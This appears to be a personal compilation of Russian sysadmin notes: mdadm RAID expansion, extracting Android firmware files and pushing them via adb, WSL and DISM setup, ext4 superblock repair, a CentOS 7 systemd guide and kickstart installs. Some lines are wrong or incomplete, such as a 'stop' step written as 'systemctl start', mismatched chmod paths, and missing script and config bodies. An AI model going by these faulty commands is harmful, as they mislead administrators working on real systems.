Прежде всего ознакомимся с текущей конфигурацией дисковой подсистемы. Будет очень полезно выполнить перезагрузку и войдя в BIOS уточнить с какого именно физического диска мы загружаемся.


mdadm-extending-001.png


В нашем случае это первый физический диск. Теперь загрузимся в систему и выполним команду:


lsblk

ее вывод позволяет в удобном виде увидеть структуру текущей дисковой подсистемы.


mdadm-extending-002.pngКак можно увидеть, в нашем случае на двух физических жестких дисках sda и sdb расположены два программных массива raid1: md0 с корневой файловой системой и md1 с разделом подкачки объемом 16,8 ГБ и 3,2 ГБ соответственно.


Следующим шагом нам нужно посмотреть разметку на физических дисках, это можно сделать при помощи утилиты fdisk, но лучше использовать ее аналог с псевдографическим интерфейсом - cfdisk. Запустим ее с указанием интересующего нас диска:


cfdisk /dev/sda

mdadm-extending-003.pngЗдесь мы видим, что диск имеет таблицу разделов MBR (Label: dos в шапке) и содержит первичный раздел sda1 объемом 16,8 ГБ типа fd Linux RAID, а также логический раздел sda2, в котором находится еще один раздел типа fd Linux RAID размером 3,2 ГБ - sda5.


Запомним эти данные, так как аналогичную по структуре разметку нам нужно будет воспроизвести на новом жестком диске. Для этого нам нужно заменить один из старых дисков массива на новый, так как загрузились мы с первого физического диска, т.е. sda, то заменить нам следует sdb. Поэтому пометим его как сбойный для каждого из расположенных на нем массивов:


mdadm -f /dev/md0 /dev/sdb1
mdadm -f /dev/md1 /dev/sdb5

mdadm-extending-004.pngТеперь можно выключить сервер и физически заменить старый жесткий диск на новый. После этого загрузимся и выполним команду:


fdisk -l

mdadm-extending-005.pngКак видим в системе появился новый неразмеченный диск sdb объемом 30 ГБ. Теперь следует разметить его:


cfdisk /dev/sdb

Первым шагом указываем тип таблицы разделов, так как у нас уже используется MBR, то выбираем dos.


mdadm-extending-006.pngТеперь нам нужно создать аналогичную по структуре sda разметку, но с новыми разделами разделов. Единственное условие - они не должны быть меньше уже имеющихся. В нашем случае мы создадим первичный раздел объемом 26 ГБ и укажем для него тип Linux raid autodetect (fd) используя для этого кнопку Type утилиты.


mdadm-extending-007.pngЗатем запишем изменения кнопкой Write. На оставшемся месте создадим расширенный раздел (extended) и внутри его еще один раздел Linux raid autodetect (fd). В итоге у вас должна получиться разметка аналогичная по структуре sda, но с новыми размерами разделов.


Теперь добавим вновь созданные разделы в массивы:


mdadm --add /dev/md0 /dev/sdb1
mdadm --add /dev/md1 /dev/sdb5

mdadm-extending-008.pngПосле чего убедимся, что начался процесс ресинхронизации:


cat /proc/mdstat

mdadm-extending-009.pngИ обязательно дождемся ее окончания. Система в это время будет доступной, но может испытывать проблемы с производительностью из-за повышенной нагрузки на дисковую подсистему, поэтому желательно запланировать данный процесс на нерабочее время. После успешной ресинхронизации вывод команды будет выглядеть следующим образом:


mdadm-extending-010.pngВроде бы все хорошо, но не забываем про загрузчик, на новом диске его нет. Поэтому выполним:


dpkg-reconfigure grub-pc

Принимаем значения по умолчанию пока не появится окно с выбором дисков, указываем установку загрузчика на все физические диски, выбирать RAID-массив не надо.


mdadm-extending-011.pngПерезагружаем систему, выбрав в BIOS в качестве загрузочного устройства новый жесткий диск. Если все было сделано правильно, то вы загрузитесь уже с нового жесткого диска. Теперь нужно пометить sda как сбойный и исключить его из массива:


mdadm -f /dev/md0 /dev/sda1
mdadm -f /dev/md1 /dev/sda5

Выключаем сервер, физически заменяем диск на новый, загружаемся. Проверяем дисковую конфигурацию:


mdadm-extending-012.pngКак видим, теперь у нас в системе появился новый неразмеченный диск sda, но так как нам уже не нужно создавать разделы с отличным от sdb размером, то просто скопируем разметку с одного диска на второй, для этого используем еще одну утилиту sfdisk:


sfdisk -d /dev/sdb | sfdisk /dev/sda

mdadm-extending-013.pngПри выполнении данной операции важно не перепутать диски местами, иначе вы скопируете разметку с пустого диска на диск с данными, что приведет к их утере. Первым следует указать диск источник, вторым - целевой диск. Плюс данной операции - вместе с разметкой скопируется также загрузчик.


Снова добавим разделы в массив:


mdadm --add /dev/md0 /dev/sda1
mdadm --add /dev/md1 /dev/sda5

Дождемся окончания ресинхронизации:


mdadm-extending-014.pngПерезагрузимся несколько раз и убедимся, что загрузка возможна с обоих физических дисков. Теперь снова выполним команду:


lsblk 

и внимательно изучим вывод:


mdadm-extending-015.pngНесмотря на то, что мы увеличили размер sda1/sdb1 и sda5/sdb5 размеры массивов md0 и md1 остались неизменными. Но если мы вспомним, что программный RAID в Linux строится поверх разделов, то все станет на свои места. Это аналогично тому, что если бы мы заменили жесткий диск в системе на более емкий, но перенесли раздел без изменения размера.


Что делать? Расширить объем массива, для этого выполните команды:


mdadm --grow /dev/md0 --size=max
mdadm --grow /dev/md1 --size=max

Что у нас получилось?


mdadm-extending-016.png


Вроде бы все хорошо. Но если для раздела подкачки этого достаточно, то с разделами, содержащими файловую систему не все так просто. В этом можно убедиться, выполнив:


df -h

mdadm-extending-017.pngИз ее вывода видно, что размер файловой системы не изменился и нам по-прежнему доступно около 17 ГБ. Но здесь нет никакой ошибки, если мы вспомним, что программный RAID является для системы аналогом диска, который содержит раздел с файловой системы, то поймем, что несмотря на то, что мы увеличили размер диска, нам следует также увеличить размер раздела с данными. Для этого выполним:


resize2fs /dev/md0

mdadm-extending-018.pngВот теперь можно считать процесс расширения массива законченным, мы расширили все необходимые разделы и теперь можем использовать все доступное пространство новых дисков. Сам процесс может показаться несколько сложным, но если представить всю эту систему как матрешку, когда одни разделы вкладываются в другие - то все станет на свои места и система вновь станет стройной и логичной.


А в заключение не будет лишним напомнить, что все проведенные нами операции несут потенциальный риск полной потери данных, поэтому перед тем, как выполнять указанные в статье действия создайте полную резервную копию вашей системы.



https://interface31.ru/tech_it/2019/04/kak-uvelichit-razmer-programmnogo-raid-massiva-v-linux.html

Рассказываю, как я достал нужные файлы из прошивки и записал их в планшет. Авось кому пригодится, там есть несколько не вполне прямолинейных моментов.

1) Распаковываю файл прошивки T285XXU0APE1_T285OXE0APC1_T285XXU0APF1_HOME.tar.md5 . Естественно, tar-ом

tar xvf T285XXU0APE1_T285OXE0APC1_T285XXU0APF1_HOME.tar.md5

2) получается куча файлов, в частности нужный мне system.img . Этот system.img не является еще образом диска, он пожат некоей технологией под названием sparse image file. Его нужно распаковать командой

simg2img system.img system.raw

программа simg2img в моем дистрибутиве (debian testing) находится в пакете android-sdk-libsparse-util

3) полученный образ system.raw все еще нельзя смонтировать, потому что что у него обрезан конец - незначащие последние блоки данных. Нужно добить файл пустыми блоками до двух гигабайт. Возможно, для этого существует более элегантное решение, но я поступил в лоб, использовав dd

dd if=/dev/zero of=sys.raw count=524300 bs=4096
dd if=system.raw of=sys.raw conv=notrunc

Необходимые числа можно посмотреть в dumpe2fs и/или в ругани dmesg при попытке подмонтировать system.raw

4) теперь можно смонтировать образ диска куда-нибудь в файловую систему, бо это обычный ext4

sudo mount -o loop sys.raw /mnt/01/

5) для перемещения файлов на их место в планшете надо использовать adb. Для того пользоваться adb нужно разрешить его в настройках планшета. Я не буду это описывать, поскольку все разрешения у меня стоят уже очень давно и подробностей я уже не помню. Документации на эту тему вагон.

6) По какой-то причине файлы нельзя записать прямо на их место в /system/priv-app/. Нужно сначала записать их в пользовательское пространство, чтобы затем шеллом под adb переместить их на место. Нет, и после перемонтирования /system тоже нельзя.

adb push /mnt/01/priv-app/VpnDialogs/ /sdcard

7) теперь запускаем шелл и перемонтируем /system для записи
adb shell
>su
>mount -oremount,rw /system

8) Теперь можно копировать. Из под той же сессии adb shell
cp -r /sdcard/VpnDialogs /system/priv-app/

9) После копирования пермишены по какой-то трансцедентной причине портятся. Поэтому нужно файл за файлом их восстановить.
>chmod 755 /system/priv-app/Vpn/Dialogs/
>chmod 755 /system/priv-app/Vpn/Dialogs/arm/
>chmod 744 /system/priv-app/Vpn/Dialogs/*.apk
>chmod 744 /system/priv-app/Vpn/Dialogs/arm/*.odex

10) перемонтировать /system обратно в ro мне было лень, тем более что он все равно туда сбросится при перезагрузке.

11) Обратите внимание, что приложение должно быть извлечено из того же самого образа, который был прошит. Приложения в /priv-app вроде как подписаны, и приложение из другой сборки может не заработать.

http://lj.rossia.org/users/lqp/623571.html



заглянуть
для просмотра изображений с расширением .webp годится imagemagik или gthumb, нужно установить libwebp

sudo apt-get install webp
display example.webp

конвертация
cwebp -q 90 example.jpeg -o example.webp
dwebp example.webp -o example.png

конвертировать все файлы .webp в папке
for i in `find . -iname "*.webp"`; do dwebp $i -o $i.png; rm $i; done

переименовать все файлы с .webp в папке
find . -type f | sed 'p;s:.webp.:.:' | xargs -n2 mv

https://itsfoss.com/webp-ubuntu-linux/
https://lisakov.com/blog/renaming-find-sed-xargs-mv/



посмотреть

http://winitpro.ru/index.php/2017/12/27/kak-vklyuchit-windows-subsystem-for-linux-v-windows-server-2016/
https://docs.microsoft.com/ru-ru/windows/wsl/install-on-server
https://habr.com/ru/post/347078/

systeminfo | Select-String "^OS Name","^OS Version"

Get-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux

Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux

Invoke-WebRequest -Uri https://aka.ms/wsl-ubuntu-1804 -OutFile ~/Ubuntu.zip -UseBasicParsing

Expand-Archive ~/Ubuntu.zip ~/Ubuntu

Remove-Item Ubuntu.zip

Ubuntu.exe

cmd.exe /c dir

export PATH=$PATH:/mnt/c/Windows/System32

$userenv = [System.Environment]::GetEnvironmentVariable("Path", "User")
[System.Environment]::SetEnvironmentVariable("PATH", $userenv + "C:\Users\Administrator\Ubuntu", "User")

$notepad.exe "C:\temp\test.txt"
$notepad.exe C:\\temp\\test.txt


прочее
Kali в Windows-подсистеме для Linux
Installing Kali Linux as a Windows 10 Subsystem for Linux
lxrun /install

git clone https://github.com/RoliSoft/WSL-Distribution-Switcher.git
cd WSL-Distribution-Switcher
python get-prebuilt.py kalilinux/kali-linux-docker
python install.py rootfs_kalilinux_kali-linux-docker_latest.tar.gz
lxrun /setdefaultuser root

http://winitpro.ru/index.php/2017/12/27/kak-vklyuchit-windows-subsystem-for-linux-v-windows-server-2016/
https://docs.microsoft.com/ru-ru/windows/wsl/install-on-server
https://habr.com/ru/post/347078/

полная статья тут



глянуть
http://www.outsidethebox.ms/12922/#ua
переменная %ua%, соответствует моей рабочей папке.
В командной строке
:: Задайте путь к рабочей папке (избегайте кириллицы и пробелов в пути)
set ua=C:\unattend
:: Создайте папку
md %ua%

В PowerShell
# Задайте путь к рабочей папке (избегайте кириллицы и пробелов в пути)
$env:ua = "C:\unattend"
# Создайте папку
md $env:ua

Отображение сведений о компонентах
DISM /online /get-features /format:table >%userprofile%\desktop\features.txt
DISM /online /get-featureinfo /featurename:NetFx3

Эквивалентные команды PowerShell
Get-WindowsOptionalFeature -Online | ft >$env:userprofile\desktop\features.txt
Get-WindowsOptionalFeature -Online -FeatureName NetFX3



Отключение и удаление компонентов в образе
Скопируйте на локальный диск файл install.wim из папки sources установочного диска и последовательно выполняйте перечисленные ниже команды.

Подключите образ:
DISM /Mount-Image /Imagefile:%ua%\wim\install.wim /index:1 /MountDir:C:\mount\

Проверьте состояние компонента Hyper-V (он должен быть включен):
DISM /Image:%ua%\mount /Get-FeatureInfo /FeatureName:Microsoft-Hyper-V-All

Удалите компонент Hyper-V:
DISM /Image:%ua%\mount /Disable-Feature /FeatureName:Microsoft-Hyper-V-All /Remove

Сохраните изменения в образе:
DISM /Unmount-Image /MountDir:%ua%:\mount /Commit

Эквивалентные команды PowerShell
Mount-WindowsImage -ImagePath $env:ua\wim\install.wim -Index 1 -Path $env:ua\mount
Disable-WindowsOptionalFeature -Path $env:ua\mount -FeatureName Microsoft-Hyper-V-All
Get-WindowsOptionalFeature -Path $env:ua\mount -FeatureName Microsoft-Hyper-V-All
Dismount-WindowsImage -Path $env:ua\mount -Save



Включение и восстановление компонентов в образе

Подключите образ с удаленным компонентом Hyper-V:
Mount-WindowsImage -ImagePath $env:ua\wim\install.wim -index 1 -Path C:\mount

Посмотрите список всех удаленных компонентов. В PowerShell это делается элементарно:
Get-WindowsOptionalFeature -Path $env:ua\mount | where state -like *removed

Восстановите компонент Hyper-V, указывая путь к чистому WIM-образу в качестве источника файлов:
Enable-WindowsOptionalFeature -Path $env:ua\mount -FeatureName Microsoft-Hyper-V-All -Source $env:ua\wim\install-clean.wim:1

Убедитесь в том, что компонент включен:
Get-WindowsOptionalFeature -Path $env:ua\mount -FeatureName Microsoft-Hyper-V-All

Отключите образы:
Dismount-WindowsImage -Path $env:ua\mount -Save
Dismount-WindowsImage -Path $env:ua\mount-clean -Discard

Добавление компонента .NET Framework 3.5 в образ
Mount-WindowsImage -Imagepath C:\wim\install.wim -Index 1 -Path C:\mount
Enable-WindowsOptionalFeature -Path C:\mount -FeatureName NetFx3 -Source Х:\sources\sxs -LimitAccess
Dismount-WindowsImage -Path C:\mount -Save

Управление компонентами работающей системы
# Проверка состояния компонента
Get-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V-All
# Удаление компонента
Disable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V-All -Remove
# Восстановление компонента из чистого WIM-образа
Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V-All -Source C:\wim\install-clean.wim:1

Компонент .NET Framework 3.5 включается так:
Enable-WindowsOptionalFeature -Online -FeatureName NetFx3 -Source Х:\sources\sxs -LimitAccess

Сколько места можно сэкономить удалением компонентов
Get-WindowsOptionalFeature -Online | where state -eq 'disabled'| ft

полная статья тут




Недавно при включении компьютера, Ubuntu меня "порадовала" тем, что решила не загружаться и "свалилась" в busybox в момент инициализации пользовательского пространства (userspace) оно же initramfs. Немного ошарашенный начал разбираться. Оказалось, что мой старенький жёсткий диск дал небольшой сбой, и подпортил суперблок файловой системы. Впрочем, оказалось что это не смертельно, и проблема эта, довольно просто и быстро решается.

Суперблок - это часть на диске, отведенная под служебную информацию файловой системы. В нем хранится информация о разделе: тип файловой системы, размер, статус и информацию о других структурах метаданных. В случае потери информации с суперблока, велик риск потерять всю информацию с раздела. Поэтому Linux хранит несколько копий этой информации - т.е. несколько суперблоков.

Перед тем, как продолжить, я должен предупредить, что не обязательна причина в суперблоке. Такая проблема может возникать и по другим причинам, установить которые можно только имея определенный опыт, либо опытным путем. В любом случае, вся суть проводимых ниже действия, лишь в проверке диска на ошибки, поэтому как минимум ничем не повредит.

Для восстановления нам понадобится загрузочный диск или флэшка с Linux. Загружаемся, и запускаем терминал. В терминале пишем:

sudo fdisk -l|grep Linux|grep -Ev 'swap'

В результате выполнения команды, будет выведен список всех разделов:

/dev/sda2       371306496 976771071 605464576 288.7G 83 Linux

В моем случае это был один раздел. В этом списке нужно найти нужный раздел, и запомнить его. Он понадобится нам дальше. Далее посмотрим список доступных запасных суперблоков:

sudo dumpe2fs /dev/sda2 | grep superblock

В команде выше, /dev/sda2 необходимо заменить на полученный ранее, нужный раздел. В результате выполнения команды, будет выведен список всех суперблоков:

Primary superblock at 0, Group descriptors at 1-19
Backup superblock at 32768, Group descriptors at 32769-32787
Backup superblock at 98304, Group descriptors at 98305-98323
Backup superblock at 163840, Group descriptors at 163841-163859
Backup superblock at 229376, Group descriptors at 229377-229395
Backup superblock at 294912, Group descriptors at 294913-294931
Backup superblock at 819200, Group descriptors at 819201-819219
Backup superblock at 884736, Group descriptors at 884737-884755
Backup superblock at 1605632, Group descriptors at 1605633-1605651
Backup superblock at 2654208, Group descriptors at 2654209-2654227
Backup superblock at 4096000, Group descriptors at 4096001-4096019
Backup superblock at 7962624, Group descriptors at 7962625-7962643
Backup superblock at 11239424, Group descriptors at 11239425-11239443
Backup superblock at 20480000, Group descriptors at 20480001-20480019
Backup superblock at 23887872, Group descriptors at 23887873-23887891
Backup superblock at 71663616, Group descriptors at 71663617-71663635

Из списка запасных суперблоков, выбираем любой кроме Primary и запускаем проверку диска с указанием запасного суперблока:

sudo fsck -b 32768 /dev/sda2 -y

Параметр -y необходим для того, чтобы fsck не спрашивал что делать с каждой найденной ошибкой, а вместо этого ее автоматически исправлял если это возможно. После того, как fsck закончит, результат выполнения будет примерно таким:

fsck 1.40.2 (23-March-2016)
e2fsck 1.40.2 (23-March-2016)
/dev/sda2 was not cleanly unmounted, check forced.
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
Free blocks count wrong for group #241 (32254, counted=32253).
Fix? yes
Free blocks count wrong for group #362 (32254, counted=32248).
Fix? yes
Free blocks count wrong for group #368 (32254, counted=27774).
Fix? yes
..........
/dev/sda2: ***** FILE SYSTEM WAS MODIFIED *****
/dev/sda2: 59586/605464576 files (0.6% non-contiguous), 3604682/605464576 blocks

После этого перезагружаемся, отключаем флэшку/вынимаем диск из привода, и всё должно работать. :)



https://the-bosha.ru/2016/03/25/vosstanavlivaem-svalivshiysya-v-busybox-iz-za-oshibki-initramfs-linux/
https://askubuntu.com/questions/137655/boot-drops-to-a-initramfs-prompts-busybox)
https://serverfault.com/questions/375090/using-fsck-to-check-and-repair-luks-encrypted-disk

Systemd – менеджер системы и сервисов в операционной системе Linux. При разработке eго стремились спроектировать обратно совместимым со скриптами инициализации SysV init и предоставить полезные функции, такие, как параллельный запуск системных сервисов во время загрузки, активацию демонов по требованию, поддержку снепшотов состояния системы и логику управления сервисами, основанную на зависимостях. В CentOS 7 systemd заменяет Upstart как систему инициализации по умолчанию.


В этой статье мы рассмотрим процесс управления сервисами в systemd для пользователя CentOS 7. Эти знания будут полезны и в других дистрибутивах, ведь systemd уже давно используется в Fedora и планируется в Ubuntu 14.10 и Debian 8. Хорошо это или нет — оставим за кадром.



CentOS 7 Systemd Infobox

В процессе чтения статьи вы можете попробовать systemd на классических VPS и облачных VPS от Infobox. Мы стремимся своевременно добавлять поддержку современных ОС, чтобы вы могли использовать последние технологии для более эффективной работы. Сама идея написания статьи родилась после очередного вопроса пользователей об использовании сервисов в CentOS 7. Типичный вопрос: «Как добавить мой сервис в автозагрузку CentOS 7?». На этот и другие вопросы постараемся дать ответ в этой статье.



Введение

Systemd приносит концепцию юнитов systemd. Юниты представлены конфигурационными файлами, размещенными в одной из директорий:

  • /usr/lib/systemd/system/ – юниты из установленных пакетов RPM.
  • /run/systemd/system/ — юниты, созданные в рантайме. Этот каталог приоритетнее каталога с установленными юнитами из пакетов.
  • /etc/systemd/system/ — юниты, созданные и управляемые системным администратором. Этот каталог приоритетнее каталога юнитов, созданных в рантайме.


Юниты содержат информацию о системных сервисах, прослушиваемых сокетах, сохраненных снапшотах состояний системы и других обьектах, относящихся к системе инициализации.



Типы юнитов systemd:

  • .service – системный сервис
  • .target — группа юнитов systemd
  • .automount – точка автомонтирования файловой системы
  • .device – файл устройства, распознанного ядром
  • .mount – точка монтирования файловой системы
  • .path – файл или директория в файловой системе
  • .scope – процесс, созданный извне
  • .slice – группа иерархически организованных юнитов, управляющая системными процессами
  • .snapshot – сохраненное состояние менеджера systemd
  • .socket – сокет межпроцессного взаимодействия
  • .swap – Свап-устройство или свап-файл (файл подкачки)
  • .timer – таймер systemd


Основные функции systemd в CentOS 7

  • Активация, основанная на сокетах. Во время загрузки systemd прослушивает сокеты для всех системных сервисов, поддерживает этот тип активации и передает сокеты этим сервисам сразу после старта сервисов. Это позволяет systemd не только запускать сервисы параллельно, но также дает возможность перезапускать сервисы без потери любых отправленных им сообщений, пока сервисы были недоступны. Соответствующий сокет остается доступным и все сообщения выстраиваются в очередь.
  • Активация, основанная на D-Bus. Системные сервисы, использующие D–Bus для межпроцессного взаимодействия, могут быть запущены по требованию, когда клиентское приложение пытается связаться с ними.
  • Активация, основанная на девайсах. Системные сервисы, поддерживающие активацию, основанную на девайсах, могут быть запущены, когда определенный тип оборудования подключается или становится доступным.
  • Активация, основанная на путях. Системные сервисы могут поддерживать этот вид активации, если изменяется состояние папки или директории.
  • Снепшоты системных состояний. Система может сохранять состояние всех юнитов и восстанавливать предыдущее состояние системы.
  • Управление точками монтирования и автомонтирования. Systemd отслеживает и управляет точками монтирования и автомонтирования.
  • Агрессивная параллелизация Systemd запускает системные сервисы параллельно из-за использования активации, основанной на сокетах. В комбинации с сервисами, поддерживающими активацию по требованию, параллельная активация значительно уменьшает время загрузки системы.
  • Транзакционная логика активации юнитов. До активации и деактивации юнитов systemd вычисляет их зависимости, создает временную транзакцию и проверяет целостность этой транзакции. Если транзакция нецелостная, systemd автоматически пытается исправить ее и удалить не требующиеся задания из нее до формирования сообщения об ошибке.
  • Обратная совместимость с инициализацией SysV. SystemD полностью поддерживает скрипты инициализации SysV, как описано в спецификации Linux Standard Base (LSB), что упрощает переход на systemd.


Управление сервисами

В предыдущих версиях CentOS использовалась SysV или Upstart. Скрипты инициализации располагались в директории /etc/rc.d/init.d/. Такие скрипты обычно писались на Bash и позволяли администратору управлять состоянием сервисов и демонов. В CentOS 7 скрипты инициализации были заменены сервисными юнитами.



По способу использования сервисные юниты .service напоминают скрипты инициализации. Для просмотра, старта, остановки, перезагрузки, включения или выключения системных сервисов используется команда systemctl. Команды service и chkconfig по-прежнему включены в систему, но только по соображениям совместимости.





При использовании systemctl указывать расширение файла не обязательно.



Ниже представлены основные команды systemctl:

  • systemctl start name.service – запуск сервиса.
  • systemctl stop name.service — остановка сервиса
  • systemctl restart name.service — перезапуск сервиса
  • systemctl try-restart name.service — перезапуск сервиса только, если он запущен
  • systemctl reload name.service — перезагрузка конфигурации сервиса
  • systemctl status name.service — проверка, запущен ли сервис с детальным выводом состояния сервиса
  • systemctl is-active name.service — проверка, запущен ли сервис с простым ответом: active или inactive
  • systemctl list-units --type service --all – отображение статуса всех сервисов
  • systemctl enable name.service – активирует сервис (позволяет стартовать во время запуска системы)
  • systemctl disable name.service – деактивирует сервис
  • systemctl reenable name.service – деактивирует сервис и сразу активирует его
  • systemctl is–enabled name.service – проверяет, активирован ли сервис
  • systemctl list-unit-files --type service – отображает все сервисы и проверяет, какие из них активированы
  • systemctl mask name.service – заменяет файл сервиса симлинком на /dev/null, делая юнит недоступным для systemd
  • systemctl unmask name.service – возвращает файл сервиса, делая юнит доступным для systemd


Работаем с целями (targets) Systemd

Предыдущие версии CentOS с SysV init или Upstart включали предопределенный набор уровней запуска (runlevels), которые представляли специфичные режимы для операций, пронумерованные от 0 до 6. В CentOS 7 концепция уровней запуска была заменена целями systemd.



Файлы целей systemd .target предназначены для группировки вместе других юнитов systemd через цепочку зависимостей. Например юнит graphical.target, использующийся для старта графической сессии, запускает системные сервисы GNOME Display Manager (gdm.service) и Accounts Service (accounts–daemon.service) и активирует multi–user.target. В свою очередь multi–user.target запускает другие системные сервисы, такие как Network Manager (NetworkManager.service) или D-Bus (dbus.service) и активирует другие целевые юниты basic.target.



В CentOS 7 присутствуют предопределенные цели, похожие на стандартный набор уровней запуска. По соображениям совместимости они также имеют алиасы на эти цели, которые напрямую отображаются в уровнях запуска SysV.



  • poweroff.target (runlevel0.target) – завершение работы и отключение системы
  • rescue.target (runlevel1.target) – настройка оболочки восстановления
  • multi–user.target (runlevel2.target, runlevel3.target, runlevel4.target) – настройка неграфической многопользовательской системы
  • graphical.target (runlevel5.target) – настройка графической многопользовательской системы
  • reboot.target (runlevel6.target) – выключение и перезагрузка системы


Команды runlevel и telinit по-прежнему доступны, но оставлены в системе по соображениям совместимости. Рекомендуется использовать systemctl для изменения или настройки системных целей.



Для определения, какой целевой юнит используется по умолчанию, полезна следующая команда: systemctl get–default.



Для просмотра всех загруженных целевых юнитов воспользуйтесь командой systemctl list-units --type target, а для просмотра вообще всех целевых юнитов командой: systemctl list-units --type target --all.



Для изменения цели по умолчанию поможет команда systemctl set-default name.target.



Для изменения текущей цели: systemctl isolate name.target. Команда запустит целевой юнит и все его зависимости и немедленно остановит все остальные.



Выключение и перезагрузка системы

В CentOS 7 systemctl заменяет значительное количество команд управления питанием. Прежние команды сохранены для совместимости, но рекомандуется использовать systemctl:

systemctl halt – останавливает систему

systemctl poweroff – выключает систему

systemctl reboot – перезагружает систему



Управление systemd на удаленной машине

Systemd позволяет управлять удаленной машиной по SSH. Для управления используйте команду:

systemctl --host user_name@host_name command, где user_name – имя пользователя, host_name – имя хоста, которым осуществляется удаленное управление, а command – выполняемая команда systemd.



Типичный systemd .service

Этот раздел поможет вам, если вам необходимо быстро сделать поддержку управления сервисом из systemd. Подробная информация о всех параметрах файла .service есть в соответствующем разделе документации по systemd.



[Unit]
Description=Daemon to detect crashing apps
After=syslog.target

[Service]
ExecStart=/usr/sbin/abrtd
Type=forking

[Install]
WantedBy=multi-user.target


Давайте посмотрим на секцию [Unit]. Она содержит общую информацию о сервисе. Такая секция есть не только в сервис-юнитах, но и в других юнитах (например при управлении устройствами, точками монтирования и т.д.). В нашем примере мы даем описание сервиса и указываем на то, что демон должен быть запущен после Syslog.



В следующей секции [Service] непосредственно содержится информация о нашем сервисе. Используемый параметр ExecStart указывает на исполняемый файл нашего сервиса. В Type мы указываем, как сервис уведомляет systemd об окончании запуска.



Финальная секция [Install] содержит информацию о цели, в которой сервис должен стартовать. В данном случае мы говорим, что сервис должен быть запущен, когда будет активирована цель multi–user.target.



Это минимальный работающий файл сервиса systemd. Написав свой, для тестирования скопируйте его в /etc/systemd/system/имя_сервиса.service. Выполните команды systemctl daemon-reload. Systemd узнает о сервисе и вы сможете его запустить.



Дополнительная информация

Отличное руководство по systemd от RedHat, положенное в основу этой статьи.

Документация по написанию своего сервис-юнита systemd.

«Systemd для администраторов» от разработчика systemd на русском языке.

#############################################################################


пример юнита пользовательского скрипта

nano /etc/systemd/system/start-unicor1.service



после каждого редактирования юнита необходимо делать systemctl daemon-reload
проверка через запуск
systemctl start start-unicor1.servic

остановка
systemctl start start-unicor1.servic

сам скрипт для юнита



скрипт запускающий рельсы без юнитов



вариант запуска по cron
@reboot /home/user1/start_unicor.sh




поскольку ruby установлен локально в домашнюю папку, то требуется инициализация source /home/user1/.profile и тд.

Как передать переменные окружения службе, запущенной systemd?
[Service]
Environment=KEY=VALUE
или так
EnvironmentFile=/path/to/env

Для нескольких значений env
Environment=KEY=VALUE
Environment=KEY2=VALUE2 KEY3=VALUE3


Поднимаем на одном сервере несколько Ruby on Rails проектов под разными версиями ruby (Nginx + Unicorn)
установка и защита redis в centos 7
Systemd за пять минут
Пишем systemd Unit файл





https://infoboxcloud.ru/community/blog/infoboxcloud/201.html



установка dokuwiki centos php nginx часть 2

посмотреть часть 1

Установка CentOS


https://www.tecmint.com/things-to-do-after-minimal-rhel-centos-7-installation/

https://sys-adm.in/os/nix/669-ustanovka-centos-7.html
https://www.if-not-true-then-false.com/2014/centos-7-netinstall-guide/
https://wiki.centos.org/HowTos/PXE/PXE_Setup
https://centos.name/?page/howto/PXE-Setup
http://wikiadmin.net/boot-pxe-install-or-live-on-centos7/
Настройка сервера сетевой установки на базе CentOS
Инструкция по установке с EFI

записать на флешку, софт для записи, ошибки при установке

Установка в текстовом режиме
Когда увидите пункт install centos меню, нажать клавишу табуляции, добавить text в конец всех существующих параметров командной строки установщика, а затем нажать клавишу enter.

Дистрибутив
https://mirror.yandex.ru/centos/7.5.1804/isos/x86_64/CentOS-7-x86_64-NetInstall-1804.iso
http://isoredirect.centos.org/centos/7/isos/x86_64/

в качестве репозитория при установке добавить
https://mirror.yandex.ru/centos/7/os/x86_64/
http://mirror.centos.org/centos/7/os/x86_64/

Автоматическая установка
https://www.tecmint.com/multiple-centos-installations-using-kickstart/
Kickstart или Автоматическая установка CentOS Linux
https://github.com/m0zgen/centos-kickstart-image-generator

Установщик CentOS автоматически создает файл /root/anaconda-ks.cfg, который содержит абсолютно всю информацию о выбранных пакетах и настройках установки текущей ОС. Это позволяет производить автоматическую установку системы
https://nixadmin.ru/centos_pxe_kickstart
/usr/sbin/system-config-kickstart

пример конфига



если интернет по DHCP, то
network --bootproto=dhcp --device=eth0 --noipv6 --activate
network --hostname=centos-test

если шина диска hda, sata, scsi, то
clearpart --all --initlabel --drives=sda

инсталяционные источники
http://mirror.centos.org/centos/7/os/x86_64/
http://mirror.centos.org/centos/8/BaseOS/x86_64/os/

установка с kickstart
Указать файл можно вручную, на этапе отображения загрузочного меню установочного диска, нажать Esc в терминале ввести:
linux inst.ks=<путь к файлу kickstart>
Например:
linux inst.ks=cdrom:/dev/cdrom:/ks.cfg

Распаковка ISO образа
mount /home/User/Downloads/iso/CentOS-7-x86_64-Minimal-1611.iso /mnt/iso/
mkdir /tmp/centos_custom/
cp -rp /mnt/iso/* /tmp/centos_custom/

Добавление kickstart файла в образ
копируем наш kickstart файл в корень папки centos_custom, указываем ему название ks.cfg, после добавляем пункт загрузочного меню изменив файл isolinux/isolinux.cfg, добавив в него следующие строки:
label auto 
  menu label ^Auto install CentOS Linux 7 
  kernel vmlinuz
  append initrd=initrd.img inst.ks=cdrom:/dev/cdrom:/ks.cfg

Строки необходимо вставить в секцию, где расположены label по умолчанию, например сразу перед строками раздела:

label linux
  menu label ^Install CentOS 7
  kernel vmlinuz
  append initrd=initrd.img inst.stage2=hd:LABEL=CentOS\x207\x20x86_64 quiet

Можно также добавить текстовую загрузку:

label text
  menu label ^Text install CentOS 7
  kernel vmlinuz
  append initrd=initrd.img inst.stage2=hd:LABEL=CentOS\x207\x20x86_64 quiet text


Создание ISO из папки образа
cd /tmp/centos_custom


Kickstart можно использовать с обыкновенной флешкой. Для этого нужно скопировать anaconda-ks.cfg с уже установленной системы, предварительно смонтировав флешку,

root@server01 [~]# mount /dev/sdc1 /media
root@server01 [~]# cp /root/anaconda-ks.cfg /media/ks.cfg
и запустить установку CentOS с такими опциями :

linux ks=hd:sdc1:/ks.cfg


Ошибки при установке
"/sbin/dmsquash-live-root: line 273: write error: No space left on device"
У установок Kickstart RHEL 7 и выше требуется не менее 2 ГБ памяти, назначенных машине.

Генерация пароля
